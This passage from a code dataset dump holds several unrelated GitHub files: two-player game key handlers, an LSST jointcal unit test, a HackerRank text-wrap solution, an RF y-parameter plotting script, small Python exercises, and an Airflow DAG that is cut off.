player_1.image = RUN_RIGHT_GUN\r\n else:\r\n player_1.image = RUN_RIGHT\r\n\r\n if key == simplegui.KEY_MAP['left']: \r\n player_1.idling = False \r\n player_1.left = True\r\n player_1.right = False \r\n player_1.vel[0] = -PLAYER_SPEED\r\n player_1.is_running = True\r\n player_1.diff = 10 \r\n \r\n #prevents bug where you'd run left but with the right animation\r\n if player_1.using_weapon:\r\n player_1.image = RUN_LEFT_KNIFE\r\n elif player_1.using_gun:\r\n player_1.image = RUN_LEFT_GUN\r\n else:\r\n player_1.image = RUN_LEFT\r\n\r\n if key == simplegui.KEY_MAP['up']:\r\n #if player is on ground\r\n if not player_1.can_climb and player_1.pos[1] == GROUND - PLAYER_HEIGHT/2:\r\n player_1.jump()\r\n\r\n #if player is inside a ladder\r\n if player_1.inside_ladder(player_1.pos):\r\n player_1.falling_from_ladder = False\r\n player_1.vel[1] = 0\r\n player_1.is_jumping = False\r\n player_1.is_running = False\r\n player_1.can_run = False\r\n player_1.can_climb = True\r\n player_1.climbing = True\r\n player_1.climb_ladder()\r\n else:\r\n #if on top of a wall\r\n for wall in walls: \r\n if player_1.pos[1] == wall.top - PLAYER_HEIGHT/2 and not player_1.can_climb:\r\n player_1.jump() \r\n\r\n #if on top of a platform\r\n for platform in platforms:\r\n if player_1.pos[1] == platform.top - PLAYER_HEIGHT/2 and not player_1.can_climb:\r\n player_1.jump() \r\n\r\n if key == simplegui.KEY_MAP['down']:\r\n player_1.idling = False\r\n for wall in walls:\r\n if player_1.pos[0] >= wall.left and player_1.pos[0] <= wall.right and player_1.pos[1] == wall.top - PLAYER_HEIGHT/2:\r\n player_1.on_wall = True\r\n\r\n #if player isn't on the ground\r\n if player_1.pos[1] != GROUND - PLAYER_HEIGHT/2 and not player_1.on_wall:\r\n if player_1.inside_ladder(player_1.pos):\r\n player_1.climbing = True\r\n\r\n #if player is on a platform\r\n for platform in platforms:\r\n if player_1.pos[1] == platform.top - PLAYER_HEIGHT/2 and not player_1.on_wall: \r\n player_1.pos[1] += 3\r\n if player_1.inside_ladder(player_1.pos):\r\n player_1.can_climb = True\r\n player_1.climbing = True\r\n\r\n #if player is on a ladder\r\n if player_1.can_climb and player_1.pos[1] < GROUND - PLAYER_HEIGHT/2 and not player_1.on_wall:\r\n player_1.down_ladder()\r\n \r\n #dropping an item:\r\n if key == simplegui.KEY_MAP['u']:\r\n pos = [player_1.pos[0], player_1.pos[1]]\r\n if player_1.using_gun:\r\n guns.append(Gun(GUN, pos, True, player_1.extra_mags, player_1.ammo))\r\n player_1.has_gun = False\r\n player_1.using_gun = False\r\n player_1.extra_mags = 0\r\n player_1.ammo = 0 \r\n \r\n elif player_1.using_weapon:\r\n weapons.append(Weapon(KNIFE, pos, True, player_1.dura))\r\n player_1.using_weapon = False\r\n player_1.has_weapon = False\r\n player_1.dura = 0\r\n \r\n #picking up items \r\n if key == simplegui.KEY_MAP['i']:\r\n pos = [player_1.pos[0], player_1.pos[1]] \r\n for gun in guns:\r\n if gun.near_player(player_1.pos):\r\n if player_1.has_gun:\r\n guns.append(Gun(GUN, pos, True, player_1.extra_mags, player_1.ammo))\r\n\r\n player_1.has_gun = True\r\n player_1.ammo = gun.ammo\r\n player_1.extra_mags = gun.extra_mags\r\n guns.remove(gun)\r\n \r\n for weapon in weapons: \r\n if weapon.near_player(player_1.pos):\r\n if player_1.has_weapon:\r\n weapons.append(Weapon(KNIFE, pos, True, player_1.dura))\r\n\r\n player_1.has_weapon = True\r\n player_1.dura = weapon.dura\r\n weapons.remove(weapon)\r\n \r\n for hp in health_packages:\r\n if hp.near_player(player_1.pos):\r\n if player_1.hp > 70:\r\n player_1.hp = 100\r\n else:\r\n player_1.hp += 30\r\n health_packages.remove(hp)\r\n\r\n #punching/meleeing\r\n if key == simplegui.KEY_MAP['o']: \r\n if not player_1.using_weapon and not player_1.using_gun and not player_1.punching:\r\n player_1.time = 0\r\n player_1.stuck = True\r\n player_1.punching = True\r\n player_1.punch('player_1')\r\n elif player_1.using_weapon and not player_1.meleeing:\r\n player_1.time = 0\r\n player_1.stuck = True\r\n player_1.meleeing = True\r\n player_1.melee('player_1')\r\n weapon_swing.set_volume(0.1)\r\n weapon_swing.rewind()\r\n weapon_swing.play()\r\n \r\n #shooting\r\n if key == simplegui.KEY_MAP['p']:\r\n if not player_1.climbing and player_1.can_run and player_1.using_gun:\r\n player_1.shooting = True\r\n player_1.shooting_time = 0 if player_1.shooting_time >= 15 else player_1.shooting_time\r\n player_1.stuck = True\r\n \r\n #if gun has no more ammo\r\n if player_1.ammo == 0:\r\n empty_gun_shot.set_volume(0.1)\r\n empty_gun_shot.rewind()\r\n empty_gun_shot.play()\r\n \r\n #reloading\r\n if key == simplegui.KEY_MAP['l']:\r\n player_1.reload()\r\n\r\n #fist slot\r\n if key == simplegui.KEY_MAP['8']:\r\n player_1.using_gun = False\r\n player_1.using_weapon = False\r\n\r\n #weapon slot\r\n if key == simplegui.KEY_MAP['9']:\r\n if player_1.using_weapon:\r\n player_1.using_weapon = False\r\n player_1.using_gun = False\r\n \r\n elif player_1.has_weapon:\r\n player_1.using_weapon = True\r\n player_1.using_gun = False\r\n weapon_shing.set_volume(0.1)\r\n weapon_shing.rewind()\r\n weapon_shing.play()\r\n\r\n #gun slot\r\n if key == simplegui.KEY_MAP['0']:\r\n if player_1.using_gun:\r\n player_1.using_gun = False\r\n player_1.using_weapon = False\r\n \r\n elif player_1.has_gun:\r\n player_1.using_gun = True\r\n player_1.using_weapon = False\r\n cocking_gun.set_volume(0.1)\r\n cocking_gun.rewind()\r\n cocking_gun.play()\r\n\r\n###################player 2######################### \r\n\r\n #player won't be able to do anything if they are stuck, dead, or the game is paused\r\n if not player_2.stuck and player_2.alive and not paused: \r\n if key == simplegui.KEY_MAP['d']:\r\n player_2.idling = False \r\n player_2.right = True\r\n player_2.left = False \r\n player_2.vel[0] = PLAYER_SPEED \r\n player_2.is_running = True\r\n player_2.diff = 10\r\n \r\n #prevents bug where you'd run right but with the left animation\r\n if player_2.using_weapon:\r\n player_2.image = RUN_RIGHT_KNIFE\r\n elif player_2.using_gun:\r\n player_2.image = RUN_RIGHT_GUN\r\n else:\r\n player_2.image = RUN_RIGHT\r\n\r\n if key == simplegui.KEY_MAP['a']:\r\n player_2.idling = False \r\n player_2.left = True\r\n player_2.right = False \r\n player_2.vel[0] = -PLAYER_SPEED\r\n player_2.is_running = True\r\n player_2.diff = 10\r\n \r\n #prevents bug where you'd run left but with the right animation\r\n if player_2.using_weapon:\r\n player_2.image = RUN_LEFT_KNIFE\r\n elif player_2.using_gun:\r\n player_2.image = RUN_LEFT_GUN\r\n else:\r\n player_2.image = RUN_LEFT\r\n\r\n if key == simplegui.KEY_MAP['w']:\r\n #if player is on ground\r\n if not player_2.can_climb and player_2.pos[1] == GROUND - PLAYER_HEIGHT/2:\r\n player_2.jump()\r\n\r\n #if player is inside a ladder\r\n if player_2.inside_ladder(player_2.pos):\r\n player_2.falling_from_ladder = False\r\n player_2.vel[1] = 0\r\n player_2.is_jumping = False\r\n player_2.is_running = False\r\n player_2.can_run = False\r\n player_2.can_climb = True\r\n player_2.climbing = True\r\n player_2.climb_ladder()\r\n else:\r\n #if on top of a wall\r\n for wall in walls: \r\n if player_2.pos[1] == wall.top - PLAYER_HEIGHT/2 and not player_2.can_climb:\r\n player_2.jump() \r\n\r\n #if on top of a platform\r\n for platform in platforms:\r\n if player_2.pos[1] == platform.top - PLAYER_HEIGHT/2 and not player_2.can_climb:\r\n player_2.jump()\r\n\r\n if key == simplegui.KEY_MAP['s']:\r\n player_2.idling = False\r\n for wall in walls:\r\n if player_2.pos[0] >= wall.left and player_2.pos[0] <= wall.right and player_2.pos[1] == wall.top - PLAYER_HEIGHT/2:\r\n player_2.on_wall = True\r\n\r\n #if player isn't on the ground\r\n if player_2.pos[1] != GROUND - PLAYER_HEIGHT/2 and not player_2.on_wall:\r\n if player_2.inside_ladder(player_2.pos):\r\n player_2.climbing = True\r\n\r\n #if player is on a platform\r\n for platform in platforms:\r\n if player_2.pos[1] == platform.top - PLAYER_HEIGHT/2 and not player_2.on_wall: \r\n player_2.pos[1] += 3\r\n if player_2.inside_ladder(player_2.pos):\r\n player_2.can_climb = True\r\n player_2.climbing = True\r\n\r\n #if player is on a ladder\r\n if player_2.can_climb and player_2.pos[1] < GROUND - PLAYER_HEIGHT/2 and not player_2.on_wall:\r\n player_2.down_ladder()\r\n \r\n #dropping an item:\r\n if key == simplegui.KEY_MAP['x']:\r\n pos = [player_2.pos[0], player_2.pos[1]]\r\n if player_2.using_gun:\r\n guns.append(Gun(GUN, pos, True, player_2.extra_mags, player_2.ammo))\r\n player_2.has_gun = False\r\n player_2.using_gun = False\r\n player_2.extra_mags = 0\r\n player_2.ammo = 0 \r\n \r\n elif player_2.using_weapon:\r\n weapons.append(Weapon(KNIFE, pos, True, player_2.dura))\r\n player_2.using_weapon = False\r\n player_2.has_weapon = False\r\n player_2.dura = 0\r\n \r\n #picking up items \r\n if key == simplegui.KEY_MAP['c']:\r\n pos = [player_2.pos[0], player_2.pos[1]] \r\n for gun in guns:\r\n if gun.near_player(player_2.pos):\r\n if player_2.has_gun:\r\n guns.append(Gun(GUN, pos, True, player_2.extra_mags, player_2.ammo))\r\n player_2.has_gun = True\r\n player_2.extra_mags = gun.extra_mags\r\n player_2.ammo = gun.ammo\r\n guns.remove(gun)\r\n\r\n for weapon in weapons:\r\n if weapon.near_player(player_2.pos):\r\n if player_2.has_weapon:\r\n weapons.append(Weapon(KNIFE, pos, True, player_2.dura))\r\n player_2.has_weapon = True\r\n player_2.dura = weapon.dura\r\n weapons.remove(weapon)\r\n \r\n for hp in health_packages:\r\n if hp.near_player(player_2.pos):\r\n if player_2.hp > 70:\r\n player_2.hp = 100\r\n else:\r\n player_2.hp += 30\r\n health_packages.remove(hp)\r\n\r\n #punching/meleeing\r\n if key == simplegui.KEY_MAP['v']:\r\n if not player_2.using_weapon and not player_2.using_gun and not player_2.punching:\r\n player_2.time = 0\r\n player_2.stuck = True\r\n player_2.punching = True\r\n player_2.punch('player_2')\r\n elif player_2.using_weapon and not player_2.meleeing:\r\n player_2.time = 0\r\n player_2.stuck = True\r\n player_2.meleeing = True\r\n player_2.melee('player_2')\r\n weapon_swing.set_volume(0.1)\r\n weapon_swing.rewind()\r\n weapon_swing.play()\r\n\r\n #shooting\r\n if key == simplegui.KEY_MAP['b']:\r\n if not player_2.climbing and player_2.can_run and player_2.using_gun:\r\n player_2.shooting = True\r\n player_2.shooting_time = 0 if player_2.shooting_time >= 15 else player_2.shooting_time\r\n player_2.stuck = True\r\n \r\n #if gun has no more ammo\r\n if player_2.ammo == 0:\r\n empty_gun_shot.set_volume(0.1)\r\n empty_gun_shot.rewind()\r\n empty_gun_shot.play()\r\n \r\n #reloading:\r\n if key == simplegui.KEY_MAP['n']:\r\n player_2.reload() \r\n\r\n #fist slot\r\n if key == simplegui.KEY_MAP['1']:\r\n player_2.using_gun = False\r\n player_2.using_weapon = False\r\n\r\n #weapon slot\r\n if key == simplegui.KEY_MAP['2']:\r\n if player_2.using_weapon:\r\n player_2.using_weapon = False\r\n player_2.using_gun = False\r\n \r\n elif player_2.has_weapon:\r\n player_2.using_weapon = True\r\n player_2.using_gun = False\r\n weapon_shing.set_volume(0.1)\r\n weapon_shing.rewind()\r\n weapon_shing.play()\r\n\r\n #gun slot\r\n if key == simplegui.KEY_MAP['3']:\r\n if player_2.using_gun:\r\n player_2.using_gun = False\r\n player_2.using_weapon = False\r\n \r\n elif player_2.has_gun:\r\n player_2.using_gun = True\r\n player_2.using_weapon = False\r\n cocking_gun.set_volume(0.1)\r\n cocking_gun.rewind()\r\n cocking_gun.play()\r\n \r\n############################################################################################### \r\ndef key_release(key):\r\n if not paused:\r\n \r\n if key == simplegui.KEY_MAP['right']:\r\n player_1.is_running = False\r\n #if player is not running or climbing a ladder\r\n if player_1.right and not player_1.climbing and not player_1.is_running or player_1.right and not player_1.climbing and player_1.can_climb: \r\n player_1.idling = True\r\n player_1.vel[0] = 0\r\n player_1.image = IDLE_RIGHT\r\n player_1.diff = 30\r\n #if player is climbing a ladder\r\n elif not player_1.can_run or player_1.climbing:\r\n player_1.vel[0] = 0\r\n\r\n if key == simplegui.KEY_MAP['left']:\r\n player_1.is_running = False\r\n #if player is not running or climbing a ladder\r\n if player_1.left and not player_1.climbing and not player_1.is_running or player_1.left and not player_1.climbing and player_1.can_climb:\r\n player_1.idling = True \r\n player_1.vel[0] = 0\r\n player_1.image = IDLE_LEFT\r\n player_1.diff = 30\r\n #if player is climbing a ladder \r\n elif not player_1.can_run or player_1.climbing:\r\n player_1.vel[0] = 0\r\n\r\n if key == simplegui.KEY_MAP['up']:\r\n player_1.climbing = False \r\n if player_1.can_climb and not player_1.is_jumping: \r\n player_1.idling = False\r\n player_1.vel[1] = 0\r\n\r\n if key == simplegui.KEY_MAP['down']:\r\n player_1.idling = True\r\n if player_1.can_climb:\r\n player_1.can_run = False\r\n player_1.climbing = False\r\n player_1.idling = False\r\n player_1.vel[1] = 0\r\n player_1.diff = 999999999\r\n\r\n #release from shooting\r\n if key == simplegui.KEY_MAP['p']:\r\n player_1.shooting = False\r\n player_1.stuck = False\r\n\r\n ##################player 2############################ \r\n if key == simplegui.KEY_MAP['d']:\r\n player_2.is_running = False\r\n #if player is not running or climbing a ladder\r\n if player_2.right and not player_2.climbing and not player_2.is_running or player_2.right and not player_2.climbing and player_2.can_climb: \r\n player_2.idling = True\r\n player_2.vel[0] = 0\r\n player_2.image = IDLE_RIGHT\r\n player_2.diff = 30\r\n #if player is climbing a ladder\r\n elif not player_2.can_run or player_2.climbing:\r\n player_2.vel[0] = 0\r\n\r\n if key == simplegui.KEY_MAP['a']:\r\n player_2.is_running = False\r\n #if player is not running or climbing a ladder\r\n if player_2.left and not player_2.climbing and not player_2.is_running or player_2.left and not player_2.climbing and player_2.can_climb:\r\n player_2.idling = True \r\n player_2.vel[0] = 0\r\n player_2.image = IDLE_LEFT\r\n player_2.diff = 30\r\n #if player is climbing a ladder \r\n elif not player_2.can_run or player_2.climbing:\r\n player_2.vel[0] = 0\r\n\r\n if key == simplegui.KEY_MAP['w']:\r\n player_2.climbing = False \r\n if player_2.can_climb and not player_2.is_jumping: \r\n player_2.idling = False\r\n player_2.vel[1] = 0\r\n\r\n if key == simplegui.KEY_MAP['s']:\r\n player_2.idling = True\r\n if player_2.can_climb:\r\n player_2.can_run = False\r\n player_2.climbing = False\r\n player_2.idling = False\r\n player_2.vel[1] = 0\r\n player_2.diff = 999999999\r\n\r\n #release from shooting\r\n if key == simplegui.KEY_MAP['b']:\r\n player_2.shooting = False\r\n player_2.stuck = False\r\n\r\n# Creating frame\r\nframe = simplegui.create_frame(\"Game\", FRAME_WIDTH, FRAME_HEIGHT)\r\nframe.set_draw_handler(draw)\r\nframe.set_mouseclick_handler(mouse_handler)\r\nframe.set_keydown_handler(key_press)\r\nframe.set_keyup_handler(key_release)\r\nframe.start()","repo_name":"jason-j-wang/Programming-11-Final-Project","sub_path":"Programming 11 Final Project.py","file_name":"Programming 11 Final Project.py","file_ext":"py","file_size_in_byte":81156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"778137187","text":"import unittest\n\nimport lsst.utils.tests\nfrom lsst.jointcal import testUtils\n\nimport lsst.geom\nimport lsst.jointcal\nimport lsst.obs.base\n\n\nclass CcdImageTestCase(lsst.utils.tests.TestCase):\n def setUp(self):\n self.nStars1 = 4\n self.nStars2 = 100\n struct = testUtils.createTwoFakeCcdImages(num1=self.nStars1, num2=self.nStars2)\n self.ccdImage1 = struct.ccdImageList[0]\n self.ccdImage2 = struct.ccdImageList[1]\n self.bbox = struct.bbox\n\n self.associations = lsst.jointcal.Associations(struct.ccdImageList)\n\n def checkCountStars(self, ccdImage, nStars):\n \"\"\"Check that ccdImage.countStars() is correct under various conditions.\n\n Parameters\n ----------\n ccdImage : `lsst.jointcal.CcdImage`\n The ccdImage to test.\n nStars : `int`\n Number of stars in ccdImage's catalog.\n\n Notes\n -----\n Does not test the case where some ``measuredStars`` are not ``valid``,\n as there is no interface for modifying that the python level. To test\n that would require creating a `Fitter` and a fake outlier list and\n calling ``removeMeasOutliers`` and/or ``removeRefOutliers``, which\n cannot be easily made part of the python API.\n \"\"\"\n # By default there are no stars because catalogForFit is uninitialized.\n measStars, refStars = ccdImage.countStars()\n self.assertEqual(measStars, 0)\n self.assertEqual(refStars, 0)\n\n # With no associations, the catalog should have exactly as many valid\n # measuredStars as were created.\n ccdImage.resetCatalogForFit()\n measStars, refStars = ccdImage.countStars()\n self.assertEqual(measStars, nStars)\n self.assertEqual(refStars, 0)\n\n # Cross match catalogs: there will still be no refcat matches.\n matchCut = 3.0 * lsst.geom.arcseconds\n # There should be no fittedStars until we associate the catalogs.\n self.assertEqual(self.associations.fittedStarListSize(), 0)\n self.associations.computeCommonTangentPoint()\n self.associations.associateCatalogs(matchCut)\n # Confirm that every measuredStar (in both ccdImages) got a fittedStar associated to it.\n self.assertEqual(self.associations.fittedStarListSize(), self.nStars1 + self.nStars2)\n # measuredStars and refStars should be unchanged after association.\n self.assertEqual(measStars, nStars)\n self.assertEqual(refStars, 0)\n\n # Make a fake reference catalog; will match the catalog one-to-one.\n skyWcs = ccdImage.getReadWcs().getSkyWcs()\n self.refCat = testUtils.createFakeCatalog(nStars, self.bbox, \"refFlux\", skyWcs=skyWcs, refCat=True)\n # associate the reference stars\n self.associations.collectRefStars(self.refCat, matchCut, 'refFlux_instFlux', 0.1)\n measStars, refStars = ccdImage.countStars()\n self.assertEqual(measStars, nStars)\n self.assertEqual(refStars, nStars)\n\n def testCcdImage1(self):\n self.checkCountStars(self.ccdImage1, self.nStars1)\n\n def testCcdImage2(self):\n self.checkCountStars(self.ccdImage2, self.nStars2)\n\n\nclass MemoryTester(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n lsst.utils.tests.init()\n unittest.main()\n","repo_name":"lsst/jointcal","sub_path":"tests/test_ccdImage.py","file_name":"test_ccdImage.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"7179874503","text":"# Text Wrap\n\n# You are given a string S and width w.\n\n# Your task is to wrap the string into a paragraph of width w.\n\n# Input Format\n# The first line contains a string, S.\n\n# The second line contains the width, w.\n\n# Constraints\n# 0 < len(S) < 1000\n# 0 < w < len(S)\n# Output Format\n# Print the text wrapped paragraph.\n\n# Sample Input 0\n\n# ABCDEFGHIJKLIMNOQRSTUVWXYZ\n# 4\n# Sample Output 0\n\n# ABCD\n# EFGH\n# IJKL\n# IMNO\n# QRST\n# UVWX\n# YZ\n\n# ======================================================================================\n\n\nimport textwrap\ndef wrap(string, max_width):\n for i in range(0,len(string)+1,max_width):\n result = string[i:i+max_width]\n if len(result) == max_width:\n print(result)\n else:\n return(result)\n \n# ---------------------------------------------------------------------\n \nif __name__ == '__main__':\n string, max_width = input(), int(input())\n result = wrap(string, max_width)\n print(result)\n","repo_name":"asim1909/Hackerrank-Python","sub_path":"Text-wrap.py","file_name":"Text-wrap.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"16819438325","text":"''' Plot ft vs Ic of RF NPN Device\r\n__author__ = \"Vikram Sekar\"\r\n'''\r\n\r\nimport rfmodeling as mdl\r\nimport skrf as rf\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport re\r\n\r\nclr = 'rbg'\r\nms = 4\r\nmark_every = None\r\n\r\n# device name\r\ndutnames = ['dutname',\r\n 'dutname_sim']\r\n\r\n# spot frequencies at which yparameters vs bias is plotted\r\nfrlist = ['2GHz', '6GHz', '10GHz', '20GHz']\r\nsim_string_id = 'ext'\r\n\r\nfor spotf in frlist:\r\n fig, ax = plt.subplots(figsize=(10, 6))\r\n\r\n for dutname in dutnames:\r\n # provide path to data dir of touchstone sp files\r\n rf.data.pwd = './path_to_data/'+dutname\r\n\r\n # import dc data taken during sparameter measurements\r\n dcfile = dutname+'_DC.csv'\r\n df = pd.read_csv(rf.data.pwd + '/' + dcfile)\r\n # add columns for yparameter data\r\n df['re_y11'] = \"\"\r\n df['re_y12'] = \"\"\r\n df['re_y21'] = \"\"\r\n df['re_y22'] = \"\"\r\n df['im_y11'] = \"\"\r\n df['im_y12'] = \"\"\r\n df['im_y21'] = \"\"\r\n df['im_y22'] = \"\"\r\n\r\n # Read all the rf data in the directory\r\n npn_data = rf.read_all(rf.data.pwd)\r\n npn_ns = rf.NetworkSet(npn_data)\r\n\r\n for rfnw in npn_ns:\r\n d = mdl.rfnpn(rfnw)\r\n if sim_string_id in dutname:\r\n sym = '-'\r\n pass\r\n else:\r\n d = d.d4s() # Perform 4 step deembedding\r\n sym = 'o'\r\n\r\n # Extract y parameters at spot frequency\r\n re_y11 = d.data[spotf].y[:, 0, 0].real\r\n re_y12 = d.data[spotf].y[:, 0, 1].real\r\n re_y21 = d.data[spotf].y[:, 1, 0].real\r\n re_y22 = d.data[spotf].y[:, 1, 1].real\r\n im_y11 = d.data[spotf].y[:, 0, 0].imag\r\n im_y12 = d.data[spotf].y[:, 0, 1].imag\r\n im_y21 = d.data[spotf].y[:, 1, 0].imag\r\n im_y22 = d.data[spotf].y[:, 1, 1].imag\r\n\r\n # extract bias info from dev name. Needs to be modified based on naming scheme.\r\n vbs = re.findall(\"VB_\\d*\\.?\\d*\", d.name)\r\n vbs = re.findall(\"\\d*\\.?\\d*\", str(vbs))\r\n # find first nonempty string in list\r\n vb = next(v for v in vbs if v)\r\n vb = float(vb)\r\n\r\n #vc = re.findall(\"VC_\\d+\\.\\d+\", dev.name)\r\n vcs = re.findall(\"VC_\\d*\\.?\\d*\", d.name)\r\n vcs = re.findall(\"\\d*\\.?\\d*\", str(vcs))\r\n # find first nonempty string in list\r\n vc = next(v for v in vcs if v)\r\n vc = float(vc)\r\n\r\n # check the bias condition and put in the correct yp value\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 're_y11'] = float(re_y11)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 're_y12'] = float(-re_y12)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 're_y21'] = float(re_y21)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 're_y22'] = float(re_y22)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 'im_y11'] = float(im_y11)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 'im_y12'] = float(-im_y12)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 'im_y21'] = float(-im_y21)*1e3\r\n df.loc[(df['VB'] == vb) & (df['VC'] == vc),\r\n 'im_y22'] = float(im_y22)*1e3\r\n\r\n x_limits = [1e-4, 1e-1]\r\n y_limits = [1e-3, 1e3]\r\n unq_vc = df.VC.unique()\r\n for vc, c in zip(unq_vc, clr):\r\n dfv = df.loc[df['VC'] == vc]\r\n\r\n plt.subplot(241)\r\n plt.plot(dfv['IC'], dfv['re_y11'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Re(y11) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(242)\r\n plt.plot(dfv['IC'], dfv['re_y12'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Re(-y12) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(243)\r\n plt.plot(dfv['IC'], dfv['re_y21'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Re(y21) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(244)\r\n plt.plot(dfv['IC'], dfv['re_y22'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Re(y22) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(245)\r\n plt.plot(dfv['IC'], dfv['im_y11'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Im(y11) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(246)\r\n plt.plot(dfv['IC'], dfv['im_y12'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Im(-y12) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(247)\r\n plt.plot(dfv['IC'], dfv['im_y21'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Im(-y21) [mA/V]', fontsize=10)\r\n\r\n plt.subplot(248)\r\n plt.plot(dfv['IC'], dfv['im_y22'], sym+c, ms=ms,\r\n fillstyle='none', markevery=mark_every)\r\n plt.xscale('log')\r\n plt.yscale('log')\r\n plt.grid(b=True, which='both', linestyle='--')\r\n plt.xlabel('Collector Current (A)')\r\n plt.xlim(x_limits)\r\n plt.ylim(y_limits)\r\n plt.title('Im(y22) [mA/V]', fontsize=10)\r\n\r\n plt.show()\r\n plt.tight_layout()\r\n plt.savefig('./dataplots/'+'Yat'+spotf+'_'+dutnames[0]+'.png')\r\n","repo_name":"vik-s/rfscripts","sub_path":"npn_yp_bias.py","file_name":"npn_yp_bias.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1196846377","text":"# función para verificar si se pasó un único caracter \r\ndef check_char(parm):\r\n if type(parm) == str or type(parm) == chr:\r\n # si es un unico caracter entre A-Z/a-z \r\n if (len(parm) == 1 and parm.isalpha()): \r\n return 0\r\n # si son mas de un caracter entre A-Z/a-z\r\n elif (len(parm) > 1 and parm.isalpha()): \r\n return -1\r\n # si son uno o mas y ademas contiene no alfabéticos\r\n elif (len(parm) >= 1 and (not parm.isalpha())): \r\n return -2\r\n else: \r\n return -3 # si no es string o char\r\n\r\n\r\n# función para cambiar el case de un char \r\ndef caps_switch(parm):\r\n res = check_char(parm) \r\n # guarda la consulta en una variable para no llamar la funcion cada vez\r\n if(res == 0): # si es un único caracter alfabético\r\n if(parm.isupper()): # es esta en mayusculas\r\n return parm.lower() # retorna minusculas\r\n else: # si no\r\n return parm.upper() # retorna mayusculas\r\n else: # si no es válido\r\n # retorna el valor de error segun el resultado de check_char\r\n return res ","repo_name":"StevenElizondo/Tarea1ElizondoCordero","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22743950823","text":"from functools import cache\n\n@cache\ndef living(floor, ho):\n r = 0\n if floor == 0:\n r = ho\n else:\n for h in range(1,ho+1):\n r += living(floor-1, h)\n return r\n\nt = int(input())\nfor i in range(t):\n k = int(input())\n n = int(input())\n print(living(k, n))","repo_name":"hyu-ds/kimdohoon","sub_path":"단계별/7. 기본 수학 1/2775.py","file_name":"2775.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15616785128","text":"from datetime import datetime\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.bash_operator import BashOperator\n\n\ndag = DAG('hello_friends',\n description='Hello Friends DAG',\n schedule_interval='0 17 * * *',\n start_date=datetime(2019, 2, 10)\n )\n\n\ndummy_task = DummyOperator(task_id='dummy_task_id',\n retries=5,\n dag=dag)\n\n\ndef print_hello():\n return 'Hello world :)'\n\npython_task = PythonOperator(task_id='python_task_id',\n python_callable=print_hello,\n dag=dag)\n\n\nmy_friends = [\"Ana\", \"Bahadir\", \"Daniela\", \"Gabriel\", \"Hamed\", \"Ivan\", \"Jose\", \"Luis\",\n \"Lukasz\", \"Nico\", \"Sri\", \"Thiago\", \"Tomas\", \"Yue\"]\n\ntemplated_cmd = \"\"\"\n {% for friend in params.friends %}\n echo Hello {{friend}}!\n {% endfor %}\n \"\"\"\n\nbash_task = 